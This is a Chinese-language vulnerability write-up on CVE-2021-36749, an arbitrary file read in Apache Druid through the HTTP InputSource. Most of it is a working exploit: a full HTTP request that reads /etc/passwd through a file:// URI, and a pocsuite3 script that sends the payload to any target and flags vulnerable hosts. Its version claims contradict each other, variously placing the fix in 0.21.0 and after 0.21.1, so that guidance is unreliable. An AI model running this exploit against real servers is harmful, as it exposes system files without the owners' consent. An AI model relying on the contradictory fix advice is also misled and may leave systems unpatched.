Apache Druid LoadData 任意文件读取 漏洞 CVE-2021-36749

0x01 漏洞简介

在 Druid 系统中，InputSource 用于从某个数据源读取数据。但是，HTTP InputSource 允许经过身份验证的用户以 Druid 服务器进程的权限从其他来源读取数据，例如本地文件系统。

这不是用户直接访问 Druid 时的权限提升，因为 Druid 还提供了 Local InputSource，它允许相同级别的访问。但是当用户通过允许用户指定 HTTP InputSource 而不是 Local InputSource 的应用程序间接与 Druid 交互时，这是有问题的。

在这种情况下，用户可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。这个问题之前提到过，根据 CVE-2021-26920 在 0.21.0 中已修复，但在 0.21.0 或 0.21.1 中未修复。

0x02 影响范围

影响范围 : Apache Druid < 0.21.0

0x03 漏洞复现

URLS写入payload

file:///etc/passwd

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 423
Origin: http://127.0.0.1:8888
Connection: close
Referer: http://127.0.0.1:8888/unified-console.html

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}

pocsuite3

from collections import OrderedDict
from urllib.parse import urljoin
import re,os
from requests_toolbelt import MultipartEncoder
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class TestPOC(POCBase):
    vulID = '0'  # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
    version = '1'  #默认为1
    author = ['yo1o']  #  PoC作者的大名
    vulDate = '2022-09-06'  #漏洞公开的时间,不知道就写今天
    createDate = '2022-09-06'  # 编写 PoC 的日期
    updateDate = '2022-09-06'  # PoC 更新的时间,默认和编写时间一样
    references = ['']  # 漏洞地址来源,0day不用写
    name = 'Apache Druid 文件读取漏洞 (CVE-2021-36749)'  # PoC 名称
    appPowerLink = ''  # 漏洞厂商主页地址
    appName = 'Apache Druid 文件读取漏洞 (CVE-2021-36749)'  # 漏洞应用名称
    appVersion = '''ALL'''  # 漏洞影响版本
    vulType = VUL_TYPE.ARBITRARY_FILE_READ  #漏洞类型,类型参考见 漏洞类型规范表
    desc = '''
        Apache Druid 文件读取漏洞 (CVE-2021-36749)Apache Apache Druid <= 0.21.1  
    '''
    samples = ['']  # 测试样列,就是用 PoC 测试成功的网站
    install_requires = ['']  # PoC 第三方模块依赖，请尽量不要使用第三方模块，必要时请参考《PoC第三方模块依赖说明》填写
    category = POC_CATEGORY.EXPLOITS.REMOTE

    def _verify(self):
        result = {}
        path = "/druid/indexer/v1/sampler?for=connect"
        url = self.url + path
        headers={
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
            "Content-Type": 'application/json;charset=UTF-8'
            }
        data={"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["file:///etc/passwd"]},"inputFormat":{"type":"regex","pattern":"(.*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{}},"tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}}
        try:
            resq = requests.post(url=url,headers=headers,json=data)
            if  resq.status_code==200 and re.search('root:[x*]?:0:0:', resq.text).group() in resq.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['body'] = resq.text
        except Exception as e:
            return
        return self.parse_output(result)

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output


register_poc(TestPOC)

本地验证

下载：https://github.com/apache/druid/archive/druid-0.20.0.zip

unzip解压后，进入druid-druid-0.20.0/distribution/docker目录，进行安装

cd druid-druid-0.20.0/distribution/docker

docker-compose up -d

0x04 修复

升级到0.21.0或更高版本